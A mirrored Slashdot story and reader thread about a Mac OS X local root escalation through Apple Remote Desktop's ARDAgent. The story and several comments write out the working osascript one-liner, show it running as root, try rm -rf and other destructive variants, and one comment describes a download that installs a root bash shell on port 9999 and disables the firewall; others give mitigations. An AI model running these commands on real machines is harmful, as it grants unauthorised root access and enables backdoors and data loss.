Slashdot Mirror
Mac OS X Root Escalation Through AppleScript
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
ARD = Apple Remote Desktop You can remove it by following these instructions.
It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.
But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.
And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.
So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.
Gentoo Linux - another day, another USE flag.
This does not work over ssh, at least not if you user isn't also logged in physically to the machine. If you try over ssh, it gives the error
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
However, it does work if you have a remote desktop view into a machine.
:wq
Nope. You cannot do it via SSH unless that account is already logged in physically, at the console. versus:Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)
who needs a source, it works. tried on my mac, output is: root
/" and
so i tried replacing "whoami" with "rm -rf
!@#ca$a%H&(
+++NO CARRIER
First, yes, this is a serious bug. It's a classic blunder, like getting into a land war in Asia, and is similar to the in NT3.51's scheduler to get LOCALSYSTEM rights, or the one in /bin/write in 2BSD to get a root shell.
It's also easy to fix.
And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.
THe thing is, it's not true that "one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy". It's not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista's jail around IE, and whatever APple does along those lines.
Security is like sex. Once you're penetrated you're ****ed.
The biggest advantage that Apple has is that Safari doesn't (any more) have a mechanism (at least not by default) to blithely execute outside a *closed* sandbox (not a leaky one) any random malware that can convince it that it's safe and trusted. That's the biggest security problem Windows has. ActiveX and all its kin. It's harder to penetrate OS X in the first place... you pretty much have to depend on social engineering... and people CAN learn not to be social-engineered.
More Twoson than Cupertino
I've got it to run destructive things as an ordinary user without any need for authentication beyond being logged in
% osascript -e 'tell app "ARDAgent" to do shell script "echo Nasty Content >Nasty Content
Prime numbers are exactly what Alan Greenspan says they are -S. Minsky
Firstly, I want to say I'm impressed.
I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.
I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).
There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.
This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).
Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.
There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).
I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.
Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.
p.s. I love the "security is like sex" comment above. Well put.
ls:
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch
dan@Geelong:~$ ls -lh
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm
dan@Geelong:~$ ls -lh
ls:
osascript -e 'tell app "ARDAgent" to do shell script "cd
This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.
To remove, run 'launchctl unload com.apple.bash' 'launchctl unload
It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.
So yeah; anything can be downloaded, and anything can be done with it. Scary.
Here's a non-destructive way to neutralize it.
/System/Library/CoreServices/RemoteManagement/
cd
sudo tar -czf ARDAgent.app.gz ARDAgent.app
sudo chmod 600 ARDAgent.app.gz
This simply hides it in an unreadable tarball.
Some drink at the fountain of knowledge. Others just gargle.
On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
What about non personal deployments?
Like corporate installations?
Kiosk installations?
Any small business that wants to secure a machine?
How about a class room that you want kiddies to run games but not wipe the OS?
Physical access MEANS if they can access the hardware (inside the case). It DOES NOT mean typing something on the freaking keyboard, when logged in as a low level user.
In the IT world you password lock boot media, lock cases,etc. If an IT person can't secure a machine without removing the keyboard, there MIGHT be a security problem.
(SlashDot Editors? WTF?)
Yeah, right.
This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)
That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.
P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.